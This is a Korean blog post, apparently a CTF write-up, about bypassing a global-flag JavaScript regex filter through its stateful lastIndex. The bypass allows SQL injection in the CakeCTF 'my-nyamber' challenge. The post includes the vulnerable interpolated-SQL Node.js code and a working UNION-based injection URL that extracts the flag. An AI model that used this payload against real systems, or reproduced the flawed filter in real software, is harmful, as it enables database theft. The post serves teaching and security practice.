주말에 ctf를 하는데 문제를 풀면서 굉장히 이상한 걸 발견했다.
/* cakectf my-nyamber */
async function queryNekoByName(neko_name, callback) {
let filter = /(\'|\\|\s)/g;
let result = [];
if (typeof neko_name === 'string') {
/* Process single query */
if (filter.exec(neko_name) === null) {
try {
let row = await querySqlStatement(
`SELECT * FROM neko WHERE name='${neko_name}'`
);
if (row) result.push(row);
} catch { }
}
} else {
/* Process multiple queries */
for (let name of neko_name) {
if (filter.exec(name.toString()) === null) {
try {
let row = await querySqlStatement(
`SELECT * FROM neko WHERE name='${name}'`
);
if (row) result.push(row);
} catch { }
}
}
}
callback(result);
}
대충 문제 코드는 이랬는데 filter을 bypass해서 sql injection을 해야한다. 근데 코드만 봤을 땐 bypass가 안된다.
그런데 이상한 걸 발견했다.
신기하다
크롬 자바스크립트 콘솔에서도 동일하게 작동하는 걸로 봐선 nodejs 자체의 문제가 아니라 javascript 자체의 문제인 것 같다.
대충 동작을 보면 아래와 같다.
첫 번째 match -> success
두 번째 match -> null
세 번째 match -> success
네 번째 match -> null
짝수번 match에서 null을 반환하는 것을 알 수 있다.
혹시나 하는 마음에 다른 정규식함수들도 동일하게 작동하는지 확인해봤는데 RegExp.prototype 계열 함수들만 해당 문제가 동일하게 발생한다.
이제 이런 신기한 현상이 있다는 걸 알았으니 왜 터지는지 알아내면 된다.
우선 공식 사이트를 확인해봤다.https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec
뭔가를 찾은 것 같다. 저부분을 해석해보면 global flag를 RegExp에서 사용하는 경우 exec나 test 메소드를 이용하여 여러번 동일한 문자에서 다음에 나타나는 일치하는 문자열을 찾을 수 있도록 lastindex 속성을 생성해준다고 한다.
실제로 match된 index를 lastIndex 속성으로 설정해주고 있다.
그럼 이제 이 다음 match는 저 lastIndex 속성을 기준으로 search를 하게 되는 것이다. 자 그럼 이제 해당 문제에서 어떻게 우회를 할 수 있었던 것인지 확인해보자.
해당 문제를 풀이하는데 쓴 payload는 다음과 같다.
http://web.cakectf.com:8002/api/neko?name[0]=Nyanta&name[1]=Nyanta&name[2]=%27union/**/select/**/1,2,1,4/*&name[3]=%27union/**/select/**/1,2,flag,4/**/from/**/flag/*
nodejs에선 위의 요청을 아래와 같이 해석한다.
name parameter : [
0 : Nyanta
1 : Nyanta
2 : 'union/**/select/**/1,2,1,4/*
3 : 'union/**/select/**/1,2,flag,4/**/from/**/flag/*
]
해당 문제에선 name 파라미터에 담긴 값이 string이 아니면 for문을 이용하여 정규식 일치를 진행한다.
for (let name of neko_name) {
if (filter.exec(name.toString()) === null) {
try {
let row = await querySqlStatement(
`SELECT * FROM neko WHERE name='${name}'`
);
if (row) result.push(row);
} catch { }
}
}
이 상태로 match를 진행한다면 총 4번 정규식 일치를 진행하게 될 것이고 lastIndex값은 다음과 같이 변하게 된다.
first match : lastIndex - null
second match : lastIndex - null
third match : lastIndex - 0
fourth match : lastIndex - null
위에서 알아낸 대로 lastIndex가 설정되있다면 해당 index를 기준으로 그 다음 문자열부터 정규식 일치를 진행하게 되고 따라서 4번째 정규식 일치에서는 u
부터 match를 진행하여 filter을 우회할 수 있게 되는 것이다.
그래서 특별한 일이 아니면 여러 문자에 정규식 일치를 진행할 땐 RegExp.prototype 계열 함수들보단 String.prototype.match와 같은 함수를 사용하는 것이 좋다.
결론적으론 생각했던 것보다 간단하고 버그가 아니라 함수의 스펙이였던 것이지만 아무리 생각해도 자바스크립트는 정말 이상하다.
'web hacking' 카테고리의 다른 글
url parser confusing (0) | 2022.08.03 |
---|---|
hayyim CTF 2022 web writeup (0) | 2022.02.13 |
DarkCON CTF web Writeup - DarkCON Challs (0) | 2021.02.21 |
SQL Injection 정리 (0) | 2020.11.08 |
TokyoWesterns CTF 2020 Web Writeup (1) | 2020.09.21 |